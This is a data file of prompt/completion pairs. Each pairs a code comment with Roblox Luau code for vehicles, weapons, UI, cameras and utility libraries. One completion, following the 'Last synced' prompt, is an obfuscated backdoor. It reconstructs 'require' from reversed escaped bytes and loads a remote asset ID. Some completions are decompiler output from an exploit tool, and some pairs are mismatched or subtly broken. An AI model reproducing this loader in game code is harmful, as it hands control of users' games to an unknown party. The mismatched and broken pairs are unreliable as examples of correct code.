prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--now, get to playing the music
local FadeoutTime = settings.MusicFadeoutTime function PlaySound(sounddata) if sounddata == nil then return end local sound = Instance.new("Sound") sound.Looped = true sound.SoundId = sounddata.SoundId sound.Volume = musicon and sounddata.Volume or 0 local v = Instance.new("NumberValue",sound) v.Name = "Origi...
--[=[ @param optionB Option @return Option If both `self` and `optionB` have values _or_ both don't have a value, then this returns None. Otherwise, it returns the option that does have a value. ]=]
function Option:XOr(optionB) local someOptA = self:IsSome() local someOptB = optionB:IsSome() if someOptA == someOptB then return Option.None elseif someOptA then return self else return optionB end end
-- declarations
local head = script.Parent function onTouched(part) local h = part.Parent:findFirstChild("Humanoid") if h~=nil then sound:play() if part.Parent:findFirstChild("Head"):findFirstChild("face").Texture == nil then return end part.Parent:findFirstChild("Head"):findFirstChild("face").Texture="717dea9c5a1659640155f77c848...
--This device is entirely open-source.
Base = script.Parent.Base Button = script.Parent.Button Host = script.Parent.Parent.Parent.Events.DoorOpen function verify(identity) Host.BypassLevel.Value = true Host.AccessLevelProvided.Value = -1 Host:Fire() end Button.ClickDetector.MouseClick:Connect(verify)
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("MSG",Paint) end)
--Miscellaneous Settings:
HANDBRAKE_ANG = 15 --Angle of handbrake when active in degrees PADDLE_ANG = 15 --Angle of paddle shifter PADDLE_INVERTED = false --Sets right paddle to shift down and vice versa PEDAL_ANGLE = 55 --Angle of pedals when active in degrees PED_INVERTED = false --Inverts the pedal angle (for top mounted pedals) SHIFTER_T...
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-d...
--tool = script.Parent.Pistol
function Die() --if tool ~= nil then tool:remove() end --game.workspace.Scripts.WaveScript.Dead_Zombies.Value = game.workspace.Scripts.WaveScript.Dead_Zombies.Value + 1 wait(2.5) script.Parent:remove() end human.Died:connect(Die)
-- Handle command invocations from the clients.
Cmdr.RemoteFunction.OnServerInvoke = function (player, text, options) if #text > 100_000 then return "Input too long" end return Cmdr.Dispatcher:EvaluateAndRun(text, player, options) end return Cmdr
--- Invoke
Signal.Invoke = function(funcName, ...) funcName = string.lower(funcName) local func = GetFunc(funcName) if (not isServer) and funcName ~= "core signal fired" then Signal.Fire("CORE Signal Fired", funcName) end -- return func:Invoke(...) end
----- NO EDITING BELOW -----
local weldedParts = {} table.insert(weldedParts,mainPart) function Weld(x, y) weld = Instance.new("Weld") weld.Part0 = x weld.Part1 = y local CJ = CFrame.new(x.Position) weld.C0 = x.CFrame:inverse() * CJ weld.C1 = y.CFrame:inverse() * CJ weld.Parent = x table.insert(weldedParts,y) end function WeldRec...
--MasterControl needs access to ControlState in order to be able to fully enable and disable control
MasterControl.ControlState = ControlState local DynamicThumbstickModule = require(script.MasterControl:WaitForChild('DynamicThumbstick')) local ThumbstickModule = require(script.MasterControl:WaitForChild('Thumbstick')) local ThumbpadModule = require(script.MasterControl:WaitForChild('Thumbpad')) local DPadModule = r...
--[[ Unpacks an animatable type into an array of numbers. If the type is not animatable, an empty array will be returned. FIXME: This function uses a lot of redefinitions to suppress false positives from the Luau typechecker - ideally these wouldn't be required FUTURE: When Luau supports singleton types, those c...
local Package = script.Parent.Parent local PubTypes = require(Package.PubTypes) local Oklab = require(Package.Colour.Oklab) local function unpackType(value: any, typeString: string): {number} if typeString == "number" then local value = value :: number return {value} elseif typeString == "CFrame" then -- FU...
-- ROBLOX deviation: use `unknown` type until Luau starts to support it
type unknown = any exports.default = function(globalToMutate: typeof(_G), key: string, value: unknown): () -- @ts-expect-error: no index globalToMutate[key] = value end return exports
--!strict
local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local GameSettings = UserSettings():GetService("UserGameSettings") local LocalPlayer = Players.LocalPlayer if not LocalPlayer then Players:GetPropertyChangedSignal("LocalPlayer"):Wait() LocalPlayer = Players.Loca...
--[ FUNCTIONS ]--
game.Players.PlayerAdded:Connect(function(player) -- When Player Join player.CharacterAdded:Connect(function(chr) -- Grabs Player Character player.Chatted:Connect(function(msg) -- When Player Chats -- IF start -- if msg:sub(1, Command:len()):lower() == Command:lower() then -- if msg is /e headless then ...
-- Generated By Codes Otaku Plugin
local Cutscene = {} Cutscene.__index = Cutscene local TS = game:GetService("TweenService") local RuS = game:GetService("RunService") local Cutscenes = {} local DEBUG_MODE = false if not DEBUG_MODE then for i, v in pairs(workspace.Cutscenes:GetDescendants()) do if v:IsA("BasePart") then v.Transparency = 1 e...
-- local NEWLINE = "\n"
local HEADING = "s*[^%.*]+s*"
--Main Control------------------------------------------------------------------------
Red = script.Parent.Red.Lamp.ImageLabel Yellow = script.Parent.Yellow.Lamp.ImageLabel Green = script.Parent.Green.Lamp.ImageLabel DRed = script.Parent.Red.DynamicLight DYellow = script.Parent.Yellow.DynamicLight DGreen = script.Parent.Green.DynamicLight function Active() if Signal.Value == 0 then repeat Yellow.I...
-- Setup the waypoint controller and set the first waypoint
local controller = WaypointController.new(player)
-- Roblox NPC sound script
local Players = game:GetService("Players") local RunService = game:GetService("RunService") local SOUND_DATA = { Climbing = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", Looped = true, }, Died = { SoundId = "rbxasset://sounds/uuhhh.mp3", }, FreeFalling = { SoundId = "rbxasset://sounds/ac...
-- OFFSET HANDLERS
local alignmentDetails = {} alignmentDetails["left"] = { startScale = 0, getOffset = function() local offset = 48 + IconController.leftOffset if checkTopbarEnabled() then local chatEnabled = starterGui:GetCoreGuiEnabled("Chat") if chatEnabled then offset += 12 + 32 end if isVoiceChatEnabled and n...
-- Roblox User Input Control Modules - each returns a new() constructor function used to create controllers as needed
local Keyboard = require(script:WaitForChild("Keyboard")) local Gamepad = require(script:WaitForChild("Gamepad")) local DynamicThumbstick = require(script:WaitForChild("DynamicThumbstick")) local FFlagUserFlagEnableNewVRSystem do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("...
-- Compiled with roblox-ts v1.3.3
local TS = _G[script] local ServerEventV2 = TS.import(script, script.Parent, "ServerEvent").default local function isMiddlewareArgument(args) local _condition = #args > 1 if _condition then local _arg0 = args[1] _condition = type(_arg0) == "table" end return _condition end
-- Fonction pour calculer la distance entre deux positions
local function calculateDistance(position1, position2) return (position1 - position2).Magnitude end
---- UTILITY FUNCTIONS ---------------------------------------------------------
local RaycastParams = RaycastParams.new() RaycastParams.FilterDescendantsInstances = { workspace:WaitForChild("Mobs"), workspace:WaitForChild("Characters") } RaycastParams.RespectCanCollide = true RaycastParams.IgnoreWater = true local function GetTableLength(t): number local n = 0 for _ in t do n += 1 end r...
--RL
rSprings[1].Thickness = Settings[1] rSprings[1].MaxLength = Settings[2] rSprings[1].MinLength = Settings[3] rSprings[1].Damping = Settings[4] rSprings[1].FreeLength = Settings[5] rSprings[1].LimitsEnabled = Settings[6] rSprings[1].MaxForce = Settings[7] rSprings[1].Stiffness = Settings[8]
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {3,6} --- Vertical Recoil ,HRecoil = {3,6} --- Horizontal Recoil ,AimRecover = .9 ---- Between 0 & 1 ,RecoilPunch = .1 ,VPunchBase = 2 --- Vertical Punch ,HPunchBase = 2 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduct...
--Hello! Please put me inside of a R6 dummy --this script loads the local players avatar
local Players = game:GetService("Players") local function handlePlayerAdded(player) local id = player.UserId local success, result = pcall(function() return Players:GetCharacterAppearanceAsync(id) end) if success then local Models = result Models.Parent = script.Parent wait() for i, v in pairs(Model...
-- Constants
local RootModel = script:FindFirstAncestorOfClass("Model") local EffectsToPlay = script.EffectsToPlay local WeaponDefinition = WeaponDefinitionLoader.GetWeaponDefintionByName(RootModel:GetAttribute("WeaponName")) local OwnerID = RootModel:GetAttribute("OwnerID") local GrenadeFuseTime = WeaponDefinition:GetFuseTime() l...
--// Hash: 01509f4cfef0d92b23d78951ca55f7fca2f31845079a481643af7edeb9c1e0e98ce7977e4b7264043c35388d50a9956b -- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__1 = game.Players.LocalPlayer; local l__GuiService__2 = game:GetService("GuiService"); local l__UserInputService__1 = game:GetService("UserInputService"); local l__RunService__2 = game:GetService("RunService"); function module(p1) local v3 = "pc"; if l__UserInputService__1.TouchEnabled then i...
---- ARITHMETIC ----
function ActiveCastStatic:AddVelocity(velocity: Vector3) assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("AddVelocity", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) self:SetVelocity(self:GetVelocity() + velocity) end function ActiveCastStatic...
-- ==================== -- SHOTGUN -- Enable the gun to fire multiple bullet in one shot -- ====================
ShotgunEnabled = true; BulletPerShot = 4; ShotgunReload = false; --Make user reloading like Shotgun, which user clipin shell one by one ShotgunClipinAnimationID = nil; --Set to "nil" if you don't want to animate ShotgunClipinAnimationSpeed = 1; ShellClipinSpeed = 0.5; --In second
--print(hit.Parent.Name)
if hit.Parent:findFirstChild("Humanoid") ~= nil then local hum=hit.Parent:findFirstChild("Humanoid")
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Wheat",Paint) end)
--------------
CenterTween1 = TweenService:Create(centerWeld,tweenInfo,CenterWeldG1) LeftTween1 = TweenService:Create(leftWeld,tweenInfo,leftWeldG1) RightTween1 = TweenService:Create(rightWeld,tweenInfo,rightWeldG1) CenterTween2 = TweenService:Create(centerWeld,tweenInfo,CenterWeldG2) LeftTween2 = TweenService:Create(leftWeld,tween...
-- Decompiled with the Synapse X Luau decompiler.
local l__ReplicatedStorage__1 = game:GetService("ReplicatedStorage"); local u1 = require(l__ReplicatedStorage__1.Packages.Fusion); local u2 = require(l__ReplicatedStorage__1.GiftInbox.Gift); return function(p1) return u1.New("ScrollingFrame")({ Size = UDim2.fromScale(1, 1), AutomaticCanvasSize = Enum.AutomaticS...
--// Functions
function TurnOff() L_27_ = false L_25_ = false L_14_ = false L_40_:FireServer() end function CheckForHumanoid(L_47_arg1) local L_48_ = false local L_49_ = nil if L_47_arg1 then if (L_47_arg1.Parent:FindFirstChild("Humanoid") or L_47_arg1.Parent.Parent:FindFirstChild("Humanoid")) then L_48_ = true if L_...
--
if IsServer then function HandlerFireClient(handler, client, ...) if LoggingNetwork then table.insert(LoggingNetwork[client][handler.Remote].dataOut, GetParamString(...)) end return handler.Remote:FireClient(client, ...) end -- function Network:GetPlayers() return Players:GetPlayers() end fu...
--[[ Like andThen, but the value passed into the handler is also the value returned from the handler. ]]
function Promise.prototype:tap(tapCallback) assert(type(tapCallback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:tap")) return self:_andThen(debug.traceback(nil, 2), function(...) local callbackReturn = tapCallback(...) if Promise.is(callbackReturn) then local length, values = pack(...) retu...
-- local second=math.floor(((minute*60)%1)*60)
HourArrow.Rotation = 180+(hour*360) MinArrow.Rotation = 180+(mint*6)
--!strict --[=[ @function is @within Array @param object any -- The object to check. @return boolean -- Whether the object is an array. Checks if the given object is an array. ```lua local array = { 1, 2, 3 } local dictionary = { hello = "world" } local mixed = { 1, 2, hello = "world" } Array.is...
local function is(object: any): boolean return typeof(object) == "table" and #object > 0 and next(object, #object) == nil end return is
-- stores
local mainStore = dss:GetDataStore("MainDataStore")
-- GAMEPASSES
Gamepasses = { [29104154] = "VIP"; };
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "a" then a = true elseif key == "d" then d = true elseif key == "w" then w = true rwd.Throttle = 1 rwd.Torque = tq lwd.Throttle = 1 lwd.Torque = ...
--Horsepower Curve
function curve(RPM) RPM=RPM/1000 return ((-(RPM-PeakRPM)^2)*math.min(HP/(PeakRPM^2),CurveMult^(PeakRPM/HP))+HP)*(RPM-((RPM^Sharpness)/((Sharpness*PeakRPM)^(Sharpness-1)))) end local PeakCurve = curve(_Tune.PeakRPM) local Horsepower = math.max(curve(RPM)/(PeakCurve/HP),0)
--SS3.33 Tesla Edit for Tesla Model X by Itzt (This is NOT SS3.33T.)
wait(0.1) local player = game.Players.LocalPlayer local lightOn = false local HUB = script.Parent.HUB local limitButton = HUB.Parent.Gauges.Circle.Zero.Limiter local carSeat = script.Parent.CarSeat.Value local mouse = game.Players.LocalPlayer:GetMouse() local n = Instance.new("Motor") local m = Instance.new("Motor")...
--!nocheck
return function(Vargs, env) local server = Vargs.Server; local service = Vargs.Service; local Settings = server.Settings local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps = server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Log...
--LogMessage = game.ReplicatedStorage.ClientStorage.Console.LogMessage
MapIdInput = script.Parent.MapIDInput LoadMapButton = script.Parent.LoadMapButton IsDoingSomething = false function OnLoadRequested() if not IsDoingSomething then IsDoingSomething = true local success, msgs = LoadMapIDRemote:InvokeServer(MapIdInput.Text) LoadMapButton.BorderColor3 = success and Color3.n...
-- In radian the maximum accuracy penalty
local MaxSpread = 0.06
--[=[ Accepts an array of Promises and returns a new Promise that resolves with an array of in-place Statuses when all input Promises have settled. This is equivalent to mapping `promise:finally` over the array of Promises. ```lua local promises = { returnsAPromise("example 1"), returnsAPromise("example 2"), ...
function Promise.allSettled(promises) if type(promises) ~= "table" then error(string.format(ERROR_NON_LIST, "Promise.allSettled"), 2) end -- We need to check that each value is a promise here so that we can produce -- a proper error rather than a rejected promise with our error. for i, promise in pairs(promise...
--local bodyPosition = Instance.new("BodyPosition", car.Chassis) --bodyPosition.MaxForce = Vector3.new() --local bodyGyro = Instance.new("BodyGyro", car.Chassis) --bodyGyro.MaxTorque = Vector3.new()
local function UpdateThruster(thruster) -- Raycasting local hit, position = Raycast.new(thruster.Position, thruster.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value) --game.Workspace:FindPartOnRay(ray, car) local thrusterHeight = (position - thruster.Position).magnitude -- Wheel local wheel...
-- if version.Value ~= current_version then -- update_notifier.Visible = true -- script.Parent.ErrorSound:Play() -- end --end
--[[ Helper function that should only be used in tests for the Grid component. ]]
local Roact = require(script.Parent.Parent.Parent.Parent.Roact) local ITEM_HEIGHT = 100 -- px local COLORS = { Color3.fromRGB(255, 0, 0), Color3.fromRGB(0, 255, 0), Color3.fromRGB(0, 0, 255), Color3.fromRGB(255, 255, 0), Color3.fromRGB(255, 0, 255), Color3.fromRGB(0, 255, 255), } local function getNextColor(...
--New R6 stuff
local Humanoid = Character:WaitForChild("Humanoid") local HumanoidRootPart = Character:WaitForChild("HumanoidRootPart") local Torso = Character:WaitForChild("Torso") local Neck = Torso:WaitForChild("Neck") local Waist = HumanoidRootPart:WaitForChild("RootJoint") local RHip = Torso:WaitForChild("Right Hip") local LH...
-- ROBLOX deviation START: pre declare invariant function
local invariant
------------------------------------------------------------ --\Doors Update ------------------------------------------------------------
local DoorsFolder = ACS_Storage:FindFirstChild("Doors") local CAS = game:GetService("ContextActionService") local mDistance = 5 local Key = nil function getNearest() local nearest = nil local minDistance = mDistance local Character = Player.Character or Player.CharacterAdded:Wait() for I,Door in pairs (DoorsFo...
--repeat wait(1) until --_G.SD[player.UserId].Data.and _G.SD[player.UserId].Data.spell
--local open = workspace.HeladeriaBeach.openPart --RestauranteUDL: Cambiar por nombre Modelo donde están las partes que abren o cierran GUI --local close = workspace.HeladeriaBeach.closePart --RestauranteUDL: Cambiar por nombre Modelo donde están las partes que abren o cierran GUI
local frame = script.Parent local closeButton = frame.closeButton local buy_1 = frame.buy1 local buy_2 = frame.buy2 local buy_3 = frame.buy3 local buy_4 = frame.buy4 local ReplicatedStorage = game:GetService('ReplicatedStorage') local remoteEvent = ReplicatedStorage:WaitForChild('BuyTool') frame.Visible = false
--[[ Determines which paid emotes the user owns and returns them through the provided callback Parameters: player - the player used to check ownership callback - the function to call once all paid emotes have been checked ]]
function EmoteManager:getOwnedEmotesAsync(player, callback) local ownedEmotes = {} local numComplete = 0 local numEmotes = 0 -- Since paidEmotes is a dictionary, we have to loop over it to count the items for _ in pairs(paidEmotes) do numEmotes = numEmotes + 1 end for emoteName, emoteInfo in pairs(paidEmote...
--[[ Constructs and returns a new instance, with options for setting properties, event handlers and other attributes on the instance right away. ]]
local Package = script.Parent.Parent local Types = require(Package.Types) local cleanupOnDestroy = require(Package.Utility.cleanupOnDestroy) local Children = require(Package.Instances.Children) local Scheduler = require(Package.Instances.Scheduler) local defaultProps = require(Package.Instances.defaultProps) local Co...
--------------------------------------------------------
function DeleteIdlePlane() --This deletes any planes that aren't currently being used for _,v in pairs(Planekit:GetChildren()) do if v.Name == "Plane" then v:Destroy() end end end function RegenMain() --This function regens the plane local PlaneClone2 = PlaneClone:clone() PlaneClone2.Parent = Planekit Pla...
-- Support legacy Primer support on internal FB www
exports.enableLegacyFBSupport = true
--Make a collision group for all players' characters
PhysicsService:CreateCollisionGroup(GroupName)
-- Server-exposed signals/fields:
PointsService.PointsPerPlayer = {} PointsService.PointsChanged = Signal.new()
-- Initialization
local lastActivePath = {} if game.Workspace:FindFirstChild("BasePlate") then game.Workspace.BasePlate:Destroy() end local tracksModel = Instance.new("Model") tracksModel.Name = "Tracks" tracksModel.Parent = game.Workspace function packagePathModels() local pathPackager = require(script.PathPackager) while true d...
-- Variables
local player = game.Players.LocalPlayer -- Local player local humanoid = player.Character:WaitForChild("Humanoid") -- Player's humanoid local userInputService = game:GetService("UserInputService") -- UserInputService
--Made by Luckymaxer
Seat = script.Parent Model = Seat.Parent Engine = Model:WaitForChild("Engine") BeamPart = Model:WaitForChild("BeamPart") Lights = Model:WaitForChild("Lights") Seats = Model:WaitForChild("Seats") Sounds = { Flying = Engine:WaitForChild("UFO_Flying"), Beam = Engine:WaitForChild("UFO_Beam"), Idle = Engine:WaitForCh...
--stop sound
function module.Stop(humrp, sound) local sound = humrp[sound] sound:Stop() end return module
--// All global vars will be wiped/replaced except script --// All guis are autonamed using client.Functions.GetRandom()
return function(data) local gui = service.New("ScreenGui") local mode = data.Mode local gTable = client.UI.Register(gui, {Name = "Effect"}) local BindEvent = gTable.BindEvent client.UI.Remove("Effect", gui) gTable:Ready() if mode == "Off" or not mode then gTable:Destroy() elseif mode == "Pixelize" then ...
--
Humanoid.Changed:Connect(function() if Enum.Material[Humanoid.FloorMaterial.Name] then script.Parent.CurrentMaterial.Value = Humanoid.FloorMaterial.Name else script.Parent.CurrentMaterial.Value = DefaultSound end end) function TurnOffSounds() for i,v in pairs(script.Parent:GetChildren()) do if v.ClassName == "Sound"...
--EDIT BELOW----------------------------------------------------------------------
settings.PianoSoundRange = 60 settings.KeyAesthetics = true settings.PianoSounds = { "269058581", "269058744", "269058842", "269058899", "269058974", "269059048" }
-- check if the player is moving and not climbing
humanoid.Running:Connect(function(speed) if humanoid.MoveDirection.Magnitude > 0 and speed > 0 and humanoid:GetState() ~= Enum.HumanoidStateType.Climbing then if oldWalkSpeed ~= humanoid.WalkSpeed then getSoundProperties() update() end currentSound.Playing = true currentSound.Looped = true else curre...
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] ...
-- -1 = Closed -- 0 = Active -- 1 = Open
function getItems() for _,v in pairs(script.Parent:GetChildren()) do if ((v:IsA("BasePart")) and (v.Name == "Bar")) then table.insert(_items,v) end end end function main() local d = door door = 0 script.Parent.Button.BrickColor = BrickColor.new("New Yeller") for i = 0,5,0.05 do for _,v in ...
--Copy public stuff
script.AdminPanelPublic:Clone().Parent = game.ReplicatedStorage script.BroadcastReceiver:Clone().Parent = game.StarterPlayer.StarterPlayerScripts wait()
-- Movement mode standardized to Enum.ComputerCameraMovementMode values
function BaseCamera:SetCameraMovementMode( cameraMovementMode ) self.cameraMovementMode = cameraMovementMode end function BaseCamera:GetCameraMovementMode() return self.cameraMovementMode end function BaseCamera:SetIsMouseLocked(mouseLocked) self.inMouseLockedMode = mouseLocked self:UpdateMouseBehavior() end fu...
--Show Accessory
script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) for i,v in pairs(child.Part1.Parent:GetChildren())do if v:IsA("Accessory") then v.Handle.Transparency=0 end end end end end)
-- regeneration
function regenHealth() if regening then return end regening = true while Humanoid.Health < Humanoid.MaxHealth do local s = wait(1) local health = Humanoid.Health if health > 0 and health < Humanoid.MaxHealth then local newHealthDelta = 0.01 * s * Humanoid.MaxHealth health = health + newHealthDelta Hu...
--[[ Last synced 7/20/2021 11:54 ...
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- posX=0.15
frmPosY=wnd.AbsoluteSize.Y/2 -- - sizeY/2 me.Position=UDim2.new(me.Position.X.Scale,me.Position.X.Offset,0,frmPosY)
-----------------------------------
ba=Instance.new("Part") ba.CastShadow = false ba.TopSurface=0 ba.BottomSurface=0 ba.Anchored=false ba.CanCollide=false ba.formFactor="Custom" ba.Size=Vector3.new(1,0.1,1) ba.CFrame=CFrame.new(script.Parent.CFrame.p)*CFrame.fromEulerAnglesXYZ(math.pi/2,0,0) ba.Name="Effect" ba.BrickColor=BrickColor.new "White" ao=scri...
--This module creates the button prompts over seats and allows players to get in/out --A copy of this module will be put into ReplicatedStorage when the game runs --This combined with VehicleSeatingScript allows the button prompts to be made locally --Which looks nicer and saves server resources
-- Keyboard -- Stephen Leitnick -- October 10, 2021
local Trove = require(script.Parent.Parent.Trove) local Signal = require(script.Parent.Parent.Signal) local UserInputService = game:GetService("UserInputService")
------------------------------------
function RandomP() local xRand = math.random(-20,20) local zRand = math.random(-20,20) local goal = torso.Position + Vector3.new(xRand,0,zRand) local path = PFS:CreatePath() path:ComputeAsync(torso.Position, goal) local waypoints = path:GetWaypoints()
--//Transmission//--
AmountOfGears = 6 --{Max of 8 gears} TransmissionType = "Automatic" --{HPattern, Automatic, DualClutch, CVT} Drivetrain = "RWD" --{RWD, FWD, AWD} TorqueSplit = 30 --{Split to the rear wheels} DifferentialF = 0 --{0 = Open, 1 = locked} DifferentialR = 0.6 --{0 = Open, 1 = locked} Gear1 = 4.60 Gear2 = 2.72 Gear3 = 1.86...
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create black= BrickColor.new("Really black") BaseUrl = "http://www.roblox.com/asse...
--//////////////////////////////////////////////////////////////////////////////////////////// --///////////// Code to talk to topbar and maintain set/get core backwards compatibility stuff --////////////////////////////////////////////////////////////////////////////////////////////
local Util = {} do function Util.Signal() local sig = {} local mSignaler = Instance.new('BindableEvent') local mArgData = nil local mArgDataCount = nil function sig:fire(...) mArgData = {...} mArgDataCount = select('#', ...) mSignaler:Fire() end function sig:connect(f) if not f then erro...
-- / Variables / --
local Client = script.Client; local Seat = script.Parent.Seat; local CarModel = script.Parent.CarModel; local BodyPostion = CarModel.BodyPosition; local BodyGyro = CarModel.BodyGyro; local currentOccupant = nil; local currentClient = nil;
--script.Parent.CallButton2.ClickDetector.MouseClick:connect(onClick)
script.Parent.CallButton.ClickDetector.MouseClick:connect(onClick)
--[[Engine]]
--Torque Curve Tune.Horsepower = 240 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSh...
----------------- --| Variables |-- -----------------
local DebrisService = Game:GetService('Debris') local Rocket = script.Parent local CreatorTag = WaitForChild(Rocket, 'creator') local Connection = nil
-- Testing AC FE support
local event = script.Parent local car=script.Parent.Parent local LichtNum = 0 event.OnServerEvent:connect(function(player,data) if data['ToggleLight'] then if car.Body.Light.on.Value==true then car.Body.Light.on.Value=false else car.Body.Light.on.Value=true end elseif data['EnableBrakes'] then car.B...
--task.spawn(function()
while task.wait() and car:FindFirstChild("DriveSeat") and character.Humanoid.SeatPart == car.DriveSeat do --game:GetService("RunService").RenderStepped:wait() if IsGrounded() then if movement.Y ~= 0 then local velocity = humanoidRootPart.CFrame.lookVector * movement.Y * stats.Speed.Value humanoidRootPa...
--Got this one on the first try. What a simple edit. x3 ~Bloxmaster998144
r = game:service("RunService") local damage = 5 local slash_damage = 10 local lunge_damage = 30 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound ...
--[[Output Scaling Factor]]
local hpScaling = _Tune.WeightScaling*10 local FBrakeForce = _Tune.FBrakeForce local RBrakeForce = _Tune.RBrakeForce local PBrakeForce = _Tune.PBrakeForce local OriginalBrakeForceR = _Tune.RBrakeForce local OriginalBrakeForceF = _Tune.FBrakeForce local DoubleBrake = false if not workspace:PGSIsEnabled() then ...
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = {spin = true, wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, dance4 = true, dance5 = true, dance6 = true, dance7 = true, dance8 = true, dance9 = true, laugh = false, cheer = false} function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, c...
-- missile.Velocity = v * iv MOVED DOWN
missile.BrickColor=cc missile.Shape = 0 missile.BottomSurface = 0 missile.TopSurface = 0 missile.Name = "Paintball" missile.Elasticity = 0 missile.Reflectance = 0 missile.Friction = .9 missile.CanCollide=false local force = Instance.new("BodyForce") force.force = Vector3.new(0,90,0) force.Parent = missile...
--For Omega Rainbow Katana thumbnail to display a lot of particles.
for i, v in pairs(Handle:GetChildren()) do if v:IsA("ParticleEmitter") then v.Rate = 20 end end Tool.Grip = Grips.Up Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function Tag...
------------------------------------------------------------------------
local Input = {} do local thumbstickCurve do local K_CURVATURE = 2.0 local K_DEADZONE = 0.15 local function fCurve(x) return (exp(K_CURVATURE*x) - 1)/(exp(K_CURVATURE) - 1) end local function fDeadzone(x) return fCurve((x - K_DEADZONE)/(1 - K_DEADZONE)) end function thumbstickCurve(x) retur...